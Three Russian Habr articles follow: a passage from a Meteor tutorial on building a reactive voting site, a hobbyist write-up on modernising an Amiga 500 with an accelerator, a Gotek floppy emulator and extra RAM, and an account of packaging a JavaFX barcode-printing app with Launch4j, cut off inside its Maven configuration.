В качестве базы данных используется MongoDB. Клиентская часть имеет доступ к данным базы так же, как и серверная. Даже интерфейс доступа такой же – для имитации запросов к базе на клиентской стороне используется Minimongo. Клиент через Minimongo оперирует JavaScript массивами, в отличии от сервера, который делает прямые запросы к MongoDB базе.
file: model.js
```
// Общий для клиента и сервера код
Members = new Meteor.Collection('members');
```
В примере выше объявляется коллекция «участники». Так как этот файл доступен и клиентской и серверной части проекта, доступ к переменной Members есть и на клиенте и на сервере. Это можно проверить просто открыв консоль в браузере и выполнив typeof Members или Members.find().fetch(). Отличие только в реализации, ведь на сервере методы Members будут оперировать с MongoDB напрямую, а на клиенте с JavaScript массивами через Minimongo обертку.
Эти коллекции управляются самим Meteor – он сам решает когда данные необходимо обновить на клиенте. Программист может ограничить объем данных, который будет представлен переменной Members на клиенте. Это будет подмножество данных с сервера. Делается это при помощи Meteor.publish() и Meteor.subscribe().
file: client/client.js
```
Meteor.subscribe('members');
```
В данном случае все участники со всеми их данными должны быть доступны клиенту, поэтому никаких искусственных ограничений не накладывается.
file: server/server.js
```
Meteor.publish('members');
Meteor.startup(function () {
if (Members.find().count() === 0) {
Members.insert({ name: 'Александра Богинич', title: 'Александру', url: 'http://mariels.ru/member/profile_alexandra_igorevna.html', photo: 'images/member/Александра Богинич.jpg', thumb: 'http://mariels.ru/$userfiles/thumb_450_1136_94.jpg', vote: 0 });
Members.insert({ name: 'Алена Мансурова', title: 'Алену', url: 'http://mariels.ru/member/profile_Alionushka.html', photo: 'images/member/Алена Мансурова.jpg', thumb: 'http://mariels.ru/$userfiles/thumb_444_1120_90.jpg', vote: 0 });
// и так далее...
}
});
```
В коде выше стандартный способ инициализации коллекции в Meteor. Так как код находится в файле server/server.js, то выполняется он только на сервере.
#### Шаблоны HTML и Реактивность
Данные есть, теперь их нужно вывести в браузере. В Meteor по умолчанию используется JavaScript шаблонизатор [Handlebars](http://handlebarsjs.com/). На самом деле, довольно кривой шаблонизатор и для выполнения простой задачи вроде «получить доступ к индексу массива в цикле foreach» приходится писать новый обработчик тега. Но, привыкнув, работать с ним можно.
file: client/view/members.html
```
{{#render\_members members}}
[
{{member.name}}]({{member.url}})
{{#if voted}}
Проголосуйте снова завтра
{{else}}
Голосовать за {{member.title}}
{{/if}}
{{/render\_members}}
```
Тег render\_members был создан только для того, чтобы делить вывод на строки (выводить через каждые две записи), а вообще это обычный foreach цикл. Переменная доступная шаблону только одна — массив members. В теле render\_members доступны все поля каждого объекта из массива members. Если быть уж совсем точным, то members не массив, а курсор, но это не суть.
file: client/client.js
```
Template.members.members = function() {
return Members.find({}, { sort: { vote: -1 }});
}
```
Members.find() возвращает курсор, тогда как Members.find().fetch() простой JavaScript массив. Используя курсор в качестве переменной шаблона members и обернув его в function() { } мы активируем реактивность Meteor на этой переменной шаблона. Это значит, что как только данные коллекции Members на сервере изменятся и обновления будут переданы на клиент, шаблон будет автоматически перерисован используя новые данные. И для этого не нужно никакого дополнительного кода на клиенте!
#### Методы сервера
file: server/server.js
```
// Код только для сервера
Votes = new Meteor.Collection('votes');
```
В коллекции Votes будут храниться все голоса и она может разрастись до нескольких тысяч записей. Мы не можем позволить такому огромному объему данных курсировать между сервером и клиентом по понятным причинам. К тому же, на клиенте нам совершенно ни к чему знать данные каждого голоса, такие как IP и дата. По этим причинам переменная объявляется только в коде, выполняемом на сервере, и Meteor.publish() / Meteor.subscribe() не вызываются.
file: server/server.js
```
// Проверка валидности IP и даты последнего голосования
var CanVote = Match.Where(function(ip) {
check(ip, String);
if (ip.length > 0) {
var yesterday = new Date();
yesterday.setDate(yesterday.getDate() - 1);
// голосовать можно только раз в сутки
return Votes.find({ ip: ip, date: { $gt: yesterday } }).count() == 0;
}
return false;
});
// Методы сервера, доступные клиенту
Meteor.methods({
// возвращает true если клиент может голосовать и false в обратном случае
canVote: function() {
return Match.test(headers.get('x-forwarded-for'), CanVote);
},
// проголосовать за участницу
vote: function(memberId) {
check(memberId, String);
check(headers.get('x-forwarded-for'), CanVote);
var voteId = Votes.insert({ memberId: memberId, ip: headers.get('x-forwarded-for'), date: new Date() });
// имитация SQL JOIN
Members.update(memberId, { $set: { vote: Votes.find({ memberId: memberId }).count() } });
return voteId;
},
// возвращает количество голосов за участницу
getMemberVotes: function(memberId) {
check(memberId, String);
return Votes.find({memberId:memberId}).count();
},
// возвращает общее суммарное количество голосов
getTotalVotes: function() {
return Votes.find().count();
}
});
```
При помощи Meteor.methods() объявляется интерфейс связи между клиентом и сервером в рамках проекта. Так как коллекция Votes не доступна на клиенте, здесь объявлены методы для получения нужных данных об этой коллекции, как то количество голосов за участницу и общее количество голосов.
В функции голосования добавляется новая запись в коллекцию Votes, а также обновляется количество голосов (votes) у соответствующей записи из коллекции Members. Последнее нужно чтобы использовать реактивность в выводе списка участников (сортируется по votes) и графика рейтингов.
Вообще, Meteor.methods() можно определить в model.js, тогда для клиенской части создатутся обертки этих методов и при вызове данные на клиенте будут обновляться мнгновенно, а уж потом корректироваться в случае, если на сервере методы поведут себя по-другому. Это называется [Latency Compensation](http://docs.meteor.com/#dataandsecurity). Но в данном случае, коллекция Votes не доступна на клиенте, а значит смысла в этом нет. Все равно придется ждать ответа от сервера.
#### Еще больше Реактивности
file: client/views/ratings.html
```
Рейтинги
========
{{#each\_with\_index members}}
{{/each\_with\_index}}
{{votes}}
**голосов**
```
file: client/client.js
```
Session.setDefault('totalVotes', 0);
Meteor.startup(function() {
// обновление значения totalVotes сессии
Deps.autorun(function() {
var total = 0;
Members.find().forEach(function(m) { total += m.vote; });
Session.set('totalVotes', total);
});
// обновление графика рейтингов топ-5
Deps.autorun(function() {
var top = Members.findOne({}, { sort: { vote: -1 }}); // текущий лидер голосования
// update ratings chart
Members.find({}, { sort: { vote: -1 }, limit: 5 }).forEach(function(m, i) {
var height = top ? Math.floor((m.vote / top.vote) * 190) + 100 : 100;
$('.rating.num'+(i+1)).css('height', height);
});
});
});
Template.ratings.members = function() {
return Members.find({}, {limit: 5, sort: { vote: -1 }});
};
Template.ratings.votes = function() {
return Session.get('totalVotes');
};
```
[Session](http://docs.meteor.com/#session) существует только на клиенте и она не персистентна, то есть сбрасывается при обновлении страницы. Объект Session так же как и курсор коллекций активирует реактивность, поэтому при изменении значения totalVotes в сессии будет перерисован шаблон ratings.
Deps.autorun() выполняется каждый раз, как реактивные данные в фукнции меняются. В данном случае это курсор Members.find(). Идея в том, что как только сервер обновит votes у какой-нибудь участницы, обновится и значение totalVotes сессии у всех клиентов, а это приведет к перериcовке блока рейтингов. Deps.autorun() используется для добавления коллбэка на изменения данных на клиенте. Есть способы подписаться на конкретные события коллекций типа added, changed, removed подробнее [здесь](http://docs.meteor.com/#observe).
Таким образом, если кто-то проголосовал в то время, пока посетитель видит блок рейтингов, столбики рейтингов изменят свою высоту, а счетчик увеличится.
Также здесь можно заметить использование jQuery. Его можно перемешивать с клиентским кодом Meteor почти без ограничений. Кстати, Meteor.startup(function {}) и jQuery(function() { }) идентичны.
file: client/client.js
```
Session.setDefault('voted', false);
// показываем кнопку для голосования или нет
Template.members.voted = function() {
return Session.get('voted');
}
Template.members.events = {
'click button': function(event) {
var $btn = $(event.currentTarget);
// помечаем сразу, так как Latency Compensation не задействуется
// и в этот момент перерисовываются зависимые шаблоны в DOM
Session.set('voted', true);
// вызываем метод на сервере
Meteor.call('vote', $btn.data('id'), function(error, vote) {
if (error) {
Session.set('voted', false);
}
});
}
}
```
Простой пример вызова метода сервера. Вызов происходит асинхронно, поэтому пока ждем ответа помечаем значение сессии voted как true. При анализе ответа уже можем откатить это, если произошла ошибка. Ответ сервера нам в принципе здесь не важен, интересно только произошла ли ошибка при голосовании или голос засчитан.
В этом коде также есть пример использования событий DOM. В принципе, можно использовать и jQuery.on(), но я решил пойти каноническим путем.
file: client/views/index.html
```
Мисс Осень 2013
{{>header}}
Мисс Осень 2013
===============
{{>page}}
{{#if contestInProgress}}
{{>countdown}}
{{>members}}
{{>social}}
{{>ratings}}
{{>terms}}
{{>footer}}
{{else}}
{{>winner}}
{{>social}}
{{>footer}}
{{/if}}
```
Meteor обрабатывает все JavaScript, HTML, CSS файлы найденные в проекте и объединяет по определенным правилам. Однако, файлы в папке public считаются статичными, доступны как есть и не обрабатываются Meteor. Стили можно было бы перенести под управление Meteor, но было решено использовать стандартный подход – включить ссылки на статичные файлы в заголовок HTML.
Некоторые сторонние библиотеки JavaScript тоже включаются как статичные файлы, хотя их можно было перенести в папку client и так же использовать из своего клиентского JavaScript кода. Дело в том, что не все библиотеки написаны так, что могут быть использованы в Meteor, в таких случаях всегда можно вернуться к стандартному включению в заголовок HTML. При различии способа включения сторонней библиотеки, использование в клиентском коде Meteor одинаково естественно.
file: client/client.js
```
contestEndDate = new Date('01/30/2014 12:00');
Session.set('inProgress', new Date() < contestEndDate);
Template.header.contestInProgress =
Template.page.contestInProgress =
Template.footer.contestInProgress = function() {
return Session.get('inProgress');
}
Meteor.startup(function() {
// обратный отсчет
var targetDate = contestEndDate;
var currentDate = new Date();
var offsetSeconds = (targetDate.getTime() - currentDate.getTime()) / 1000;
offsetSeconds = Math.max(0, offsetSeconds);
var clock = $('#countdown').FlipClock(offsetSeconds, {
clockFace: 'DailyCounter',
defaultClockFace: 'DailyCounter',
countdown: true,
callbacks: {
stop: function() {
Session.set('inProgress', false);
}
}
});
});
```
В index.html можно увидеть еще одно применение реактивности. Переменная contestInProgress обозначает статус конкурса – в процессе или уже окончен. Вид страницы полностью меняется в зависимости от этого статуса. Статус устанавливается при инициализации страницы, а также меняется клиентом при возникновеннии события stop счетчика FlipClock.
Переменная contestInProgress есть в трех шаблонах и значение у нее одно и то же. Шаблоны независимы друг от друга и перерисовываются по отдельности.
Из кода видно, что из обработчика события, инициируемого сторонней библиотекой FlipClock, меняется значение сессии клиента Meteor. И это при том, что библиотека FlipClock загружается браузером клиента при загрузке страницы.
Вот тут открывается неочевидное преимущество Meteor. Раз так просто перерисовать страницу по завершении отсчета, так почему бы этого не сделать? Это всего лишь одна строчка кода, зато будет эффектно смотреться если кто-то в этот момент будет просматривать страницу.
Если бы проект разрабатывался на PHP+AJAX, эта была бы отдельная задача. Несложная, но учитывая, что это событие случится только один раз за все существование проекта, возможно у программиста просто не дойдут руки сделать обновление статуса страницы. Да и зачем тратить на это время, если это увидят пару человек? Остальные просто получат уже страницу с победителем. В этом и есть прелесть Meteor – программисту не нужно думать над протоколом общения и он может сконцентрироваться на тех мелочах, которые раньше бы откладывались в долгий ящик.
#### Кульминация
Ну и в конце подведу некий итог. Проект оказался успешным и, я думаю, не последнюю роль здесь играла реактивность Meteor. Разработка подобного небольшого веб-проекта на Meteor одно удовольствие, хотя иногда приходится долго искать решение тривиальных задач. Я бы точно не сделал страницу с таким количеством интерактивных элементов, если бы использовал PHP.
###### Достоинства:
1. Не нужно думать о протоколе связи между клиентом и сервером
2. Код сервера и клиента пишется на одном языке
3. Удобно отлаживать код прямо из браузера
4. Можно быстро продемонстрировать состояние проекта клиенту при помощи meteor deploy
5. Активное комьюнити, в том числе на stackoverflow
###### Недостатки:
1. Все еще в превью стадии, **не годится для крупных проектов**
2. В коде некоторые тривиальные задачи приходится решать при помощи громоздких конструкций
3. Установка на боевой сервер требует наличие node.js сервера, а если уже есть http сервер, то настройки прокси с 80 порта
4. Совершенно **не годится для мобильных устройств** из-за большого количества JavaScript
5. Весь контент в браузере генерируется при помощи JavaScript, это может негативно отразиться на SEO
Сам конкурс уже закончился, а потыкать тестовую версию можно здесь [promo.meteor.com](http://promo.meteor.com)
Исходники проекта [github.com/imajus/promo](https://github.com/imajus/promo) | https://habr.com/ru/post/204262/ | null | ru | null |
# Апгрейд AMIGA 500 под современные реалии
[](https://habr.com/ru/company/ruvds/blog/590169/)
Неугасающий энтузиазм ретро-компьютерщиков продолжает поддерживать жизнь старых ПК и даже находит им актуальное применение в современном мире. На этот раз «осовремениванию» подвергся старенький Amiga, получивший более мощный процессор, дополнительную память и кое-какие дополнительные примочки.
Как и [возвращенный мной к жизни Sinclair ZX Spectrum](https://benjamin.computer/posts/2021-05-28-ZX-Spectrum.html), [Amiga](https://en.wikipedia.org/wiki/Amiga_500) занимает особое место в моем сердце. Уверен, что и не только в моем. Для тех, кто увлекся компьютерами в конце 80х – начале 90х, Amiga был одним из наиболее интересных экземпляров. Много уже было сказано в адрес уникальности этого компьютера. [Джимми Махер](https://www.filfre.net/) в своей книге [“The Future Was Here”](https://mitpress.mit.edu/books/future-was-here) утверждает, что Amiga был первой мультимедийной машиной. Считаю, что это справедливое заключение. Он мог рисовать удивительную графику, воспроизводить прекрасный звук, запускать отличные игры, приложения – в общем полный комплект возможностей.
Некоторые энтузиасты, например [Ahoy](https://www.youtube.com/watch?v=zB_UZsJUbwQ) и [Ким Джастис](https://www.youtube.com/watch?v=oP1nLzT_t0o), сняли неплохие видео, посвященные истории Amiga, так что здесь особо вдаваться в детали я не стану. Будет достаточно сказать, что этот ПК хорошо вписался в свое время, но стал жертвой неудачных бизнес-решений и аппаратного дизайна, что помешало ему развиться в полной мере.
Тем не менее есть любители, например [Стив Лорд](https://thedorkweb.substack.com/p/personal-computing-on-an-amiga-in-2021), которые умудрились приспособить своих Amiga под современную цифровую среду, поручив им обработку таких задач, как электронная почта, IRC или воспроизведение музыки.
Это может показаться глупостью, но Amiga действительно лишен многих проблем, свойственных сегодняшним компьютерам. И хоть для того, чтобы заставить машину 30-летней давности работать в современной среде, потребуется вложить немало денег и времени в ее апгрейд, в итоге вам больше не придется беспокоиться о шпионском ПО, рекламе, лагах или различных вредоносах (по большей части).
У меня в свое время была модель A500 – одна из самых популярных в Британии. Поставлялся он в коробке Cartoon Classics – укомплектованный кое-какими программами вроде [Deluxe Paint](https://en.wikipedia.org/wiki/Deluxe_Paint), [Bart Versus Space Mutants](https://en.wikipedia.org/wiki/The_Simpsons:_Bart_vs._the_Space_Mutants), [Lemmings](https://en.wikipedia.org/wiki/Lemmings_(video_game)) и, к сожалению, [Captain Planet](https://en.wikipedia.org/wiki/Captain_Planet_and_the_Planeteers_(video_game)). При этом мне он очень нравился, и я до сих пор испытываю ностальгию. Печально, но в результате я его все же продал, не предполагая, что буду так скучать.
Недавно я купил аналогичный экземпляр на eBay и решил привести его в соответствие с современной действительностью. Некоторые стороны оригинального Amiga поистине раздражали – например загрузка диска. Но эти проблемы относились к технологическим особенностям того времени и касались не только этих ПК. Сегодня мы можем сгладить все эти острые углы и получить, как говорится, лучшее из двух миров.
Чистка
------
Первым делом нужно было привести Amiga в надлежащий вид. Пожелтел этот экземпляр прилично, но я решил не применять к нему технику [RetrObright](https://habr.com/ru/search/?q=%D1%82%D0%B0%D0%B8%D0%BD%D1%81%D1%82%D0%B2%D0%BE%20%D0%BE%D1%82%D0%B1%D0%B5%D0%BB%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F&target_type=posts&order=relevance), так как считаю, что помогает она ненадолго. Кроме того, хоть я и живу в Файф (самый солнечный уголок Шотландии), подобный метод отбеливания займет целую вечность. Так что я решил по быстрому избавиться от всех жировых отложений и грязи с помощью моющего средства и автошампуня.
Пластик старых компьютеров может оказаться весьма хрупок, поэтому разбирать нужно такие устройства аккуратно. Я вот, например, надломил верхнюю часть корпуса. Благо это получилось исправить пайкой – соединение практически не видно.
Следующей сложностью стало снятие клавиш клавиатуры. Большинство из них с помощью подобающего инструмента достать несложно, но вот крупные клавиши крепятся к основанию металлической скобой. В связи с этим для снятия приходится поднимать и сдвигать колпачок. Достаточно хитро это происходит с пробелом, у которого металлический крепеж самый длинный, хотя сложнее всего снимать Ввод. У этой клавиши две таких скобы, расположенных перпендикулярно друг к другу. Реально боль!
Грязь и налет на внутренней части клавиатуры я оттер влажными салфетками, а сам корпус с помощью зубной щетки и очищающего крема. Жаль, но в процессе пришлось счистить и заводские стикеры. Дело в том, что я попробовал их отклеить, неудачно. Наверное, стоило изначально оставить их в процессе отмывания, так как держались они на пластике весьма крепко.
Материнская плата, что приятно порадовало глаз, оказалась достаточно чистой, без каких-либо признаков коррозии или потекших конденсаторов. Был случай, когда я купил A500 в подарок сестре, но при включении в розетку он испустил магический дым. Так что, подобные вещи всегда лучше сначала проверять.
Вампир
------
*Плата Vampire Accelerator. Обратите внимание на большую ПЛИС в середине и контроллер IDE слева*
Для апгрейда сердца Amiga сегодня есть несколько способов. Последней разработкой, вроде как, является [PiStorm](https://github.com/captain-amygdala/pistorm). Существуют также [flicker flixer](https://www.amiga-shop.net/en/Amiga-Hardware/Amiga-classic-hardware/ScanPlus-AGA-scandoubler-flickerfixer-for-Amiga-1200-4000D::874.html), [Wicher](https://www.amiga-shop.net/en/Amiga-Hardware/Amiga-classic-hardware/Wicher-500i-accelerator::823.html) и ряд других опций, но я предпочел [Apollo Vampire A500 V2](https://apollo-accelerators.com/). Она способна на очень многое! Эта плата заменяет не только процессор, но и ROM, а также добавляет поддержку Compact Flash и SD-карт, HDMI-выход и много дополнительной памяти. Это невероятная комбинация, но для ее получения потребуется постоять в очереди.
Установить же эту плату очень просто. Для начала нужно снять родные чипы CPU и ROM. Я это сделал с помощью инструмента для извлечения микросхем и плоской отвертки. Если вы используете отвертку, то это не лучшее решение. Так можно ненароком повредить ножки микросхемы. Я обычно слегка поддеваю чип кончиком поочередно с одной стороны, потом с другой, и так до тех пор, пока он постепенно не выйдет полностью. В данном случае к этой технике пришлось прибегнуть только при извлечении процессора, так как мои щипцы оказались маловаты.
Плату Vampire нужно вдавливать в посадочное место с некоторым усилием. После при желании можно проложить HDMI-кабель. В этом Amiga я такой кабель не использую, по крайней мере пока, поэтому добавить мне потребуется только Compact Flash.
Compact Flash в качестве HDD
----------------------------
В далеких 90-х в Великобритании жесткие диски для Amiga были чрезвычайно редки. Они были огромные и помещались в боковой слот расширения. Сегодня же у нас уже бывают хранилища таких объемов, что мы не знаем, чем их заполнить. Значит, я могу установить HDD своей мечты, используя гребенку IDE и адаптер Compact Flash. Хотя сначала мне понадобится кабель.
Я думал, что без проблем найду подходящий среди лежащих у меня без дела. Оказалось же, что нужна особая 44-пиновая модификация, которые используются в ноутбуках. У этих кабелей на 4 провода больше, а шаг между контактами меньше. В итоге я также нашел его на eBay вместе с адаптером CF-IDE. Причем адаптер найти труда не составило, а вот кабелей таких реально мало. Очень странно.
Весь этот комплект разместился прямо на плате Vampire. При этом я дополнительно завернул его в пластиковый пакет, чтобы исключить соприкосновение деталей. В итоге все это удачно расположилось под металлическим экраном, и теперь для замены карты придется все снова разбирать.
В качестве удобного решения можно устанавливать ПО прямо на карту, используя [winUAE](https://www.winuae.net/download/) или нечто аналогичное. Тем не менее пока сойдет и так. Если мне удастся найти кабель подлиннее, то я смогу использовать боковой выход расширения и найду способ расположить адаптер сразу над старой гребенкой.
Избавляемся от дисковода
------------------------
*USB-эмулятор дисковода Gotek*
В A500 преимущественно использовались [дисководы 3.5”](https://en.wikipedia.org/wiki/Floppy_disk). Для тех читателей, кто слишком молод, чтобы помнить такие в живую, уточню, что именно их образ послужил прототипом для иконки сохранения. Каждая дискета могла нести до 880Кб (Это касалось Amiga. Аналогичный диски для более поздних машин уже вмещали чуть больше информации). Некоторые игры записывались аж на несколько дискет, в связи с чем их постоянное перетыкивание иногда напрягало.
В те времена у меня не было возможности использовать жесткий диск или даже второй дисковод. Так что, перестановка дискет была не самой приятной частью работы с ПК. Я не стремлюсь на 100% воссоздать те времена с Amiga – лучше уж постараться сохранить только приятные его моменты. Несмотря на то, что постоянная смена дискет и выдающееся тарахтение дисковода составляли значительную часть оригинального опыта использования, я с радостью оставлю эту часть в прошлом.
В качестве решения я купил [эмулятор дисковода Gotek с USB входом](https://amigastore.eu/en/323-usb-floppy-emulator-gotek.html#/). Это чудесное устройство позволяет использовать вместо родного дисковода USB-карту с образами дисков. Все, что нужно – это отсоединить дисковод и подключить вместо него эмулятор. Далее взять флешку, отформатировать ее в FAT32, записать какие-нибудь [ADF-образы](https://www.amigaforever.com/kb/13-112) и вуаля — больше никаких хлопот с дискетами!
Gotek даже оснащен 3D-печатной рамкой для легкости установки, двумя кнопками для переключения образов вперед/назад, а также мини-экраном, отображающим текущий загруженный `ADF`. После выбора диска нужно лишь подождать пару секунд, пока он загрузится.
Апгрейд памяти
--------------
*Расширение памяти для скрытого отсека Amiga*
У меня Amiga rev. 6 – один из последних, который, судя по найденным наклейкам, был изготовлен в Германии. Это означает, что в нем установлен [Enhanced Chip Set (ECS)](https://en.wikipedia.org/wiki/Amiga_Enhanced_Chip_Set) с микросхемой Agnus. Звучит странно, но у большинства важных микросхем Amiga были имена. Agnus содержала сопроцессор и блиттер, а также управляла доступом к памяти. Ее наличие подразумевает, что я могу сделать апгрейд аж до 512Кб (Вау!) памяти, используя карту расширения для скрытого отсека.
Но тут есть и подвох. Мне придется разрезать одну дорожку и спаять пару площадок. Рядом с процессором расположена перемычка JP2. Она состоит из трех площадок. Нижние две связаны дорожкой – ее и нужно разрезать. После этого останется спаять две верхние.
Мне удалось найти расширение RAM на eBay, причем недорого. Эта плата переключается в два режима: A500 и A500+. Однако при установке на A500 память определяется как Slow RAM – пользы от такого режима мало. Мне пришлось припаять два контакта и переставить перемычку в положение A500+, чтобы память определилась как Chip RAM.
В Amiga с RAM всегда были какие-то нюансы (хотя и в современных машинах, если разобраться, с ней сложностей хватает). Chip RAM используется всеми кастомными микросхемами, но одновременно только одной. Slow RAM сидит на шине и используется только процессором.
В некоторых Amiga также встречалась Fast RAM, к которой одновременно могли обращаться уже несколько микросхем, но не микросхемы Agnus/Alice. Удивляет? Что ж, некоторые вещи повторяются. Сегодня у систем есть несколько уровней кэша, основная память, память GPU и прочее. На мой взгляд, много общего.
Один мегабайт микросхемной RAM считается стандартом для A500. Многие игры и демо предполагали, что такой объем будет по умолчанию, так что я рад, что мне удалось наладить ее работу.
Чуть позже я узнал, что с помощью некоторых карт расширения для скрытого отсека можно одновременно проапгрейдить RTC-модуль и память. Думаю, это оказалось бы более удачным решением. Если мне подвернется возможность сделать апгрейд другого Amiga, то сделаю уже именно так.
Источник питания
----------------
*Этот блок питания намного меньше и эффективнее оригинального*
Оригинальный блок питания сравним с кирпичом. Сегодня такое сравнение можно нередко услышать в адрес предметов, которые по размеру и весу реально сопоставимы со строительным блоком. Рискую прозвучать как старикан, но молодежь не осознает фактической степени совершенства доступных сегодня технологий. БП Amiga очень массивен. Такое ощущение, что его напичкали каучуком для поглощения всего генерируемого тепла (может я его путаю с БП от Commodore 64? А может они аналогичны?)
Все же здесь желательно подобрать нечто более компактное. Как выяснилось, на [Keelog](https://www.keelog.com/amiga-500-psu-modern-black-us-replacement-amiga-500-power-supply-us-plug/) есть подобная альтернатива. Я же свой купил на eBay, но он все равно обошелся недорого и отлично свою функцию выполняет.
Настройка Workbench и тест sysinfo
----------------------------------
*Настройка Workbench на жестком диске*
Установив все новые детали, я решил перед окончательной сборкой протестировать машину. На удивление все сработало с первого раза. Тогда я продолжил собирать корпус, и небольшая сложность возникла только с Gotek. Для четкого замыкания верхней крышки его пришлось немного вдавить. Самой большой же проблемой стала обратная установка клавиши Ввод. Как я уже писал, она фиксируется двумя металлическими скобами, которые нужно вставить позади нее. Очередная боль.
После завершения сборки настало время привести в строй жесткий диск. Когда я загрузил с ADF-образа Workbench 3.1, то заметил, что в нем есть все ПО для разбивки и форматирования диска. В интернете мне встречались всякие навороченные файловые системы, но пока связываться с чем-то совсем уж новым не хотелось, поэтому я решил оставить все по умолчанию.
После разбивки и форматирования диска можно использовать установщик со второго ADF-файла с Workbench, который его установит и определит в качестве базового варианта загрузки. В целом довольно легко. Это, конечно, означает утрату красивого анимированного экрана загрузки, но оно и не важно – быстродействие жесткого диска определенно того стоит.
Далее нужно было убедиться в работоспособности модификации памяти. Для этого я использовал [sysinfo](https://sysinfo.d0.se/) – скачал ADF, залил его на флешку и загрузил с помощью Gotek. Sysinfo выполнит все нужные вам тесты. С ее помощью я убедился, что мой апгрейд памяти работает. Великолепно!
Во времена Amiga некоторые игры предлагали вариант “install to hard-disk”. Пока что я установил на «винчестер» [Dune 2](https://www.amigalove.com/games.php?game_id=24), [The Settlers](https://gamesnostalgia.com/game/serf-city-life-is-feudal), [Eye of the Beholder](https://www.amigalove.com/games.php?game_id=66) и, конечно же, [Frontier Elite 2](https://gamesnostalgia.com/game/frontier-elite-ii). Эти игры мне особенно нравились, так что вновь иметь их под рукой очень здорово.
Дальнейшие планы
----------------
Есть немало игр, которые по умолчанию не предлагают возможности установки на жесткий диск. Со многими из них поможет решить вопрос программа [WHDLoad](http://www.whdload.de/). Вот только я не в курсе, как она работает или устанавливается, хотя в будущем планирую с ней познакомиться.
Еще я подумываю подключить машину к интернету с помощью, например [plipbox](https://lallafa.de/blog/amiga-projects/plipbox/). Кроме того, есть вариант использовать часы реального времени, а также HDMI-выход Vampire. Мне предстоит установить еще много программ, ту же Deluxe Paint, Pro-tracker и прочие. Можно посмотреть кучу разных демок и познакомиться со множеством разработанных недавно игр. В общем, возможности обширны!
Странно, но в Workbench 3.1 нет программы Say. Вы могли заметить, что я использую ее в видеоролике из начала статьи.
Хотя с учетом всего сказанного, моя конфигурация со старым монитором Sony и пачкой игрушек уже хороша даже в своем текущем виде. Некоторые же энтузиасты настроили своих Amiga на повседневную работу с электронной почтой, обработкой текста и под прочие задачи.
Я тоже хочу реализовать это в дальнейшем, только вот подумываю использовать для этого A600 или A1200. Я бы взял современный монитор, установил все последние апгрейды по железу и поставил его на столе в офисе. Так, наверное, и сделаю.
У этого же A500 иная роль. Он предназначен быть чем-то вроде «нестареющей классики». Его место в зале, где он стоит, готовый дружить с консолями и другими компьютерами. Конечно, это уже не тот Amiga из моей молодости, но оно и не столь важно, а в некотором смысле даже лучше. Взгляд в его сторону то и дело вызывает во мне улыбку – а большего и требовать не стоит.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=apgrejd_amiga_500_pod_sovremennye_realii) | https://habr.com/ru/post/590169/ | null | ru | null |
# Java: есть ли жизнь на десктопе?
Привет! Я Виктор Барсуков, Java-разработчик в Lamoda. В этой статье я хочу рассказать о разработке десктопного Java-приложения, что из этого получилось и что можно было бы сделать иначе.
В 2019 году в России ввели обязательную маркировку ряда товаров. В связи с этим малому бизнесу пришлось покупать и настраивать дорогие по меркам МСП (то есть, малых и средних предпринимателей) программы и оборудование.
У меня есть такие знакомые, и из общения с ними я знаю, что в России малому бизнесу и без маркировки хватает забот. Поэтому решил внести посильный вклад в развитие МСП. Но какой вклад может сделать программист? Написать [программу](https://sourceforge.net/projects/barcodesfx/). Программу с одной-единственной функцией — печатью кодов маркировки, которая должна помочь соблюсти требования новых законов и избежать непомерных штрафов.
Предыстория проекта
-------------------
С 2019 года в РФ введена обязательная маркировка ряда товаров. Более подробно об этом можно узнать на сайте [Честного Знака](https://xn--80ajghhoc2aj1c8b.xn--p1ai). На момент старта маркировки было много нерешенных вопросов, которые озвучивались в профильных чатах. Малым предприятиям требовалось приобретать и настраивать достаточно дорогие программные решения. В результате многие покупали 1С со всем его богатым набором функций исключительно ради печати [DataMatrix-кодов](https://ru.wikipedia.org/wiki/Data_Matrix).
Мне показалось, что ситуацию вполне можно исправить, написав программу с единственной функцией — печать кодов маркировки. Собственно, с этого все и началось.
**Дисклеймер:** сразу оговорюсь, что проект делается в свободное от основной работы время, поэтому глубоко исследовать разные технологии было некогда. Часто приходилось выбирать не самое оптимальное решение, а первое, которое показалось приемлемым, и с хорошо описанной документацией.
Используемые технологии
-----------------------
Так как я Java-разработчик, то неудивительно, что в первую очередь рассматривался знакомый язык. Конечно, Java чаще всего ассоциируется с разработкой бэкенда, но я решил попробовать его для десктопа.
При разработке десктопного приложения на Java выбор в принципе стоит между JavaFx и Swing. JavaFx показался дружелюбным в разработке, поэтому выбор пал на него. Swing все-таки считается устаревшей технологией и даже Oracle говорит о [замене Swing на JavaFx](https://www.oracle.com/java/technologies/javafx/faq-javafx.html#6).
Изначально проект был на Java 8, потому что у него еще есть поддержка JavaFx. В более старших версиях эту функцию убрали, поэтому потребуются определенные танцы с бубном для запуска приложения. Ниже опишу, как удалось обойтись без них и продолжить поддерживать актуальный стек.
Сборка дистрибутива
-------------------
Первые версии приложения поставлялись как fat-jar со всеми зависимостями, но это оказалось неудобно. Целевая аудитория — малые предприниматели, у которых уровень владения компьютером чаще всего на уровне пользователя, изредка — продвинутого пользователя. Для них оказалось весьма проблематично устанавливать Java правильной версии, а потом запускать приложение через bat-файл.
Сначала я рекомендовал сборку [Java от Liberica](https://libericajdk.ru/pages/downloads/): после инсталляции она связывает зависимости, и приложение запускается просто по двойному клику мыши. Но даже после этого при вводе запроса «barCodesFX» Google продолжал автоматом подсказывать «как запустить». К счастью, сейчас ситуация поменялась.
Эта подсказка натолкнула меня на мысль, что приложение должно запускаться через exe-файл по двойному клику без установки дополнительного ПО. Или же это ПО должно ставиться автоматом.
В поисках решения нашелся [проект Launch4j](http://launch4j.sourceforge.net/). Он позволяет создавать exe-файл, выступающий в роли «стартера» для основного jar-приложения. При этом JRE «правильной» версии помещается в состав дистрибутива и не требует отдельной установки. Это увеличило размер дистрибутива, но в век безлимитного интернета лишние 70 Мб для удобства пользователя не кажутся критичными.
Отдельная благодарность команде Liberica, которая поставляет сборки JRE с подключенными модулями JavaFx — это сильно облегчает запуск приложения.
Сам exe-файл создается при сборке после добавления плагина в maven-проект.
```
com.akathist.maven.plugins.launch4j
launch4j-maven-plugin
2.1.2
l4j-clui
compile
launch4j
gui
target/BarCodesFX.exe
barCodesFX.jar
src/main/resources/microQR.ico
https://download.oracle.com/java/17/archive/jdk-17.0.1\_windows-x64\_bin.msi
Launching error
true
%PWD%/jre-17.0.1
preferJdk
20
80
0.0.0.0
${version}
BarCodesFX-${version}
